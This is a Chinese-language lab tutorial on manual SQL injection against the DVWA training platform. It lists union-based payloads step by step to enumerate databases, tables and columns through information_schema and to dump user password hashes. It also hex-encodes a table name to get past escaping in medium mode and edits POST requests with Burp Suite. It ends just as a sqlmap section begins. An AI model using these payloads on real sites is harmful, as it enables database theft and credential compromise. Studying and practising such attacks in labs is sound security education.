SQL Injection(SQL注入)概念
就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定回显位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.得到数据
(1)判断是否存在sql注入,输入1',返回错误
判断存在sql注入:当输入1',返回错误,说明页面没有对1'进行过滤,即攻击者可以对数据库进行操作。
输入1,回显正常,确认存在sql注入。
(2)猜解SQL查询语句中的字段数
1' order by 2#
1' order by 3#
(3)确定回显位置(为第二个位置)
1' union select 1,2#
(4)获取当前数据库。dvwa
1' union select 1,database()#
(5)获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
(6) 获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
(7)获取字段中的数据
1' union select user,password from users#
在level为medium时,网页通过下拉表单的格式提交数据。
从页面源代码中可以发现,代码不是get型注入,应该是把提交的数据存放到post数据中了。
这时需要对其注入sql语句,则最好采用火狐浏览器所带有的插件hacker。
(1)构造Post data :id=4&Submit=Submit。网页可以回显id=4的字段。
(2)猜解SQL查询语句中的字段数。
id=1 order by 2 &Submit=Submit //正常回显
id=1 order by 3 &Submit=Submit //报错
(3)确定回显位置。回显位置为2。
id=1 union select 1,2 &Submit=Submit
(4)获取数据库名
id=1 union select 1,database() &Submit=Submit
(5)获取表名。
id=4 union select 1, group_concat(table_name) from information_scheme.table where table_schema = database()&Submit=Submit
该方法行不通,需要转变思路,利用burpsuite抓包,修改数据包内容,得到网页的回显。
在下图详细介绍了,burpsuite的修改数据包的内容,所得到网页的回显。
标记为1:更改GET==>POST
标记为2:增加 Content-Type: application/x-www-form-urlencoded,这条记录若不添加,会造成网页没有任何回显。
标记为3:数据包内容(即构造的SQL语句)
标记为4:回显的内容。
后续SQL注入的步骤修改的地方为标记3。
对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;
查找数据库DVWA中有多少表。
id=2 union select 1,table_name from information_schema.tables where table_schema=(select database())#&Submit=Submit
回显内容:数据库dvwa中存在两个表user和guestbook
查看表中的字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
网页返回错误
查看源代码
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
因此当SQL语句中‘’,会直接让其转义,并不能对数据库的内容进行修改。所以需要对users进行编码;user转换为16进制为0x7573657273。
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit
user表中的字段有user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
获取关键数据
最后得到的密码是16进制数据,我们需要将其处理后使用。
id=1 union select user,password from users#&Submit=Submit
SQLMAP
实验需要再linux系统中实现,因此,首先需要再linux系统中进入DVWA平台,在浏览器中输入:http://靶机IP地址/DVWA-master/setup.php.